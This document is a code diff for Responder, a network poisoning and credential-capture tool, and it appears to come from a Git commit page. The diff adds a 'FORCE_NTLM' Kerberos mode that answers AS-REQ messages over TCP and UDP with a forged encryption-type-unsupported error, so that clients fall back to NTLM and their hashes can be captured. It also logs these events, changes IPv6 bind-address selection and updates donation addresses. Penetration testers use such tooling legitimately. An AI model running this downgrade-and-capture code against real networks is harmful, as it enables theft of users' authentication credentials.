|
||||
etext_bytes = etext_str.encode('ascii')
|
||||
inner += b'\xab' + encode_asn1_length(len(etext_bytes) + 2) + b'\x1b' + encode_asn1_length(len(etext_bytes)) + etext_bytes
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
|
||||
|
||||
# Wrap in APPLICATION 30 tag
|
||||
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_pa_data(realm, cname):
|
||||
"""
|
||||
Build PA-DATA sequence for pre-authentication
|
||||
@@ -571,6 +650,9 @@ class KerbTCP(BaseRequestHandler):
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check operation mode
|
||||
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
|
||||
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
@@ -626,19 +708,45 @@ class KerbTCP(BaseRequestHandler):
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
# First AS-REQ without pre-auth
|
||||
if kerberos_mode == 'FORCE_NTLM':
|
||||
# Force NTLM fallback mode
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR with ETYPE_NOSUPP
|
||||
krb_error = build_krb_error_force_ntlm(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'NTLM-Fallback-Forced',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
|
||||
})
|
||||
else:
|
||||
# Default CAPTURE mode - send pre-auth required
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send with Record Mark
|
||||
response = struct.pack('>I', len(krb_error)) + krb_error
|
||||
self.request.sendall(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
@@ -664,6 +772,9 @@ class KerbUDP(BaseRequestHandler):
|
||||
return
|
||||
|
||||
if msg_type == 10: # AS-REQ
|
||||
# Check operation mode
|
||||
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
|
||||
|
||||
# Check if client sent PA-DATA
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
@@ -715,18 +826,43 @@ class KerbUDP(BaseRequestHandler):
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
else:
|
||||
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
# First AS-REQ without pre-auth
|
||||
if kerberos_mode == 'FORCE_NTLM':
|
||||
# Force NTLM fallback mode
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR with ETYPE_NOSUPP
|
||||
krb_error = build_krb_error_force_ntlm(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
|
||||
|
||||
# Log to database
|
||||
SaveToDb({
|
||||
'module': 'Kerberos',
|
||||
'type': 'NTLM-Fallback-Forced',
|
||||
'client': self.client_address[0],
|
||||
'user': cname,
|
||||
'domain': realm,
|
||||
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
|
||||
})
|
||||
else:
|
||||
# Default CAPTURE mode - send pre-auth required
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
|
||||
|
||||
# Build KRB-ERROR response
|
||||
krb_error = build_krb_error(realm, cname)
|
||||
|
||||
# Send directly (no Record Mark for UDP)
|
||||
socket_obj.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
|
||||
|
||||
elif msg_type == 12: # TGS-REQ
|
||||
if settings.Config.Verbose:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
|
||||
12
settings.py
12
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.2.0.0'
|
||||
__version__ = 'Responder 3.2.1.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -231,6 +231,16 @@ class Settings:
|
||||
else:
|
||||
self.ExternalResponderIP6 = self.Bind_To6
|
||||
|
||||
# Kerberos operation mode: CAPTURE (AS-REP hashes) or FORCE_NTLM (force fallback)
|
||||
try:
|
||||
self.KerberosMode = config.get('Kerberos', 'KerberosMode').strip()
|
||||
if self.KerberosMode not in ['CAPTURE', 'FORCE_NTLM']:
|
||||
print('[Config] Invalid KerberosMode: %s, defaulting to CAPTURE' % self.KerberosMode)
|
||||
self.KerberosMode = 'CAPTURE'
|
||||
except:
|
||||
# Default to CAPTURE mode if not specified (backward compatible)
|
||||
self.KerberosMode = 'CAPTURE'
|
||||
|
||||
self.Os_version = sys.platform
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
|
||||
145
utils.py
145
utils.py
@@ -237,38 +237,117 @@ def Probe_IPv6_socket():
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
|
||||
def IsLinkLocal(ip):
|
||||
"""
|
||||
Check if an IPv6 address is link-local (fe80::/10).
|
||||
|
||||
Link-local addresses are in the range fe80:: to febf::
|
||||
"""
|
||||
if ip is None:
|
||||
return False
|
||||
ip_lower = ip.lower()
|
||||
# fe80::/10 means first 10 bits are 1111111010
|
||||
# This covers fe80:: through febf::
|
||||
return ip_lower.startswith('fe8') or ip_lower.startswith('fe9') or \
|
||||
ip_lower.startswith('fea') or ip_lower.startswith('feb')
|
||||
|
||||
|
||||
def GetLinkLocalIP6(Iface):
|
||||
"""
|
||||
Get the link-local IPv6 address for a specific interface.
|
||||
|
||||
Args:
|
||||
Iface: Interface name (e.g., 'eth0')
|
||||
|
||||
Returns:
|
||||
Link-local IPv6 address string, or None if not found
|
||||
"""
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(Iface)
|
||||
if netifaces.AF_INET6 not in addrs:
|
||||
return None
|
||||
|
||||
# Search through all IPv6 addresses for a link-local one
|
||||
for addr_info in addrs[netifaces.AF_INET6]:
|
||||
addr = addr_info.get("addr", "")
|
||||
# Remove interface suffix (e.g., "fe80::1%eth0" -> "fe80::1")
|
||||
clean_addr = addr.split('%')[0]
|
||||
if IsLinkLocal(clean_addr):
|
||||
return clean_addr
|
||||
|
||||
return None
|
||||
except (KeyError, IndexError, ValueError):
|
||||
return None
|
||||
|
||||
def FindLocalIP6(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
"""
|
||||
Find the IPv6 address to bind Responder's servers to.
|
||||
|
||||
FIXED LOGIC (prioritizes link-local):
|
||||
1. If user provided explicit IPv6 via -6 option, use that
|
||||
2. If interface is 'ALL', return '::' (bind to all interfaces)
|
||||
3. Try to get link-local address (fe80::) - THIS WORKS ON LOCAL NETWORKS
|
||||
4. Fallback to global IPv6 only if link-local not available
|
||||
5. Last resort: ::1 with warning
|
||||
|
||||
Args:
|
||||
Iface: Network interface name ('eth0') or 'ALL' for wildcard
|
||||
OURIP: User-provided IPv6 via -6 option, or None
|
||||
|
||||
Returns:
|
||||
IPv6 address string to bind to
|
||||
"""
|
||||
# Handle wildcard interface
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
|
||||
try:
|
||||
# PRIORITY 1: If user explicitly provided an IPv6 address with -6, use it
|
||||
# This preserves the original behavior for users who specify -6
|
||||
if IsIPv6IP(OURIP):
|
||||
return OURIP
|
||||
|
||||
# PRIORITY 2: Get link-local address (fe80::)
|
||||
# This is the FIX - link-local is ALWAYS reachable on local segment
|
||||
link_local = GetLinkLocalIP6(Iface)
|
||||
if link_local:
|
||||
return link_local
|
||||
|
||||
# PRIORITY 3: Fallback to global IPv6 via socket trick
|
||||
# Only used if no link-local available (rare on properly configured systems)
|
||||
try:
|
||||
# Connect to random IPv6 to determine source address
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP, 80))
|
||||
IP = s.getsockname()[0]
|
||||
s.close()
|
||||
if IP and IP != '::1':
|
||||
# Warn the user this might not work
|
||||
print(color('[!] Warning: No link-local IPv6 found, using global %s' % IP, 1, 1))
|
||||
print(color('[!] This address may not be reachable on local network!', 1, 1))
|
||||
return IP
|
||||
except:
|
||||
pass
|
||||
|
||||
# PRIORITY 4: Try to get any IPv6 from the interface
|
||||
try:
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
pass
|
||||
|
||||
# No IPv6 available at all
|
||||
print("[+] You don't have an IPv6 address assigned on %s." % Iface)
|
||||
return '::1'
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
try:
|
||||
|
||||
if IsIPv6IP(OURIP) == False:
|
||||
|
||||
try:
|
||||
#Let's make it random so we don't get spotted easily.
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP+':80', 1))
|
||||
IP = s.getsockname()[0]
|
||||
return IP
|
||||
except:
|
||||
try:
|
||||
#Try harder; Let's get the local link addr
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
IP = '::1'
|
||||
print("[+] You don't have an IPv6 address assigned.")
|
||||
return IP
|
||||
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
@@ -336,8 +415,9 @@ def SaveToDb(result):
|
||||
result[k] = ''
|
||||
result['client'] = result['client'].replace("::ffff:","")
|
||||
if len(result['user']) < 2:
|
||||
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
text("[*] Skipping one character username: %s" % result['user'])
|
||||
#Generate to much output for nothing..
|
||||
#print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
#text("[*] Skipping one character username: %s" % result['user'])
|
||||
return
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
@@ -492,7 +572,7 @@ def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
print('')
|
||||
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
|
||||
print(color("[*] ", 2, 1) + 'Tips jar:\n USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A\n BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49\n')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||
@@ -538,7 +618,6 @@ def StartupMessage():
|
||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||
|
||||
Reference in New Issue
Block a user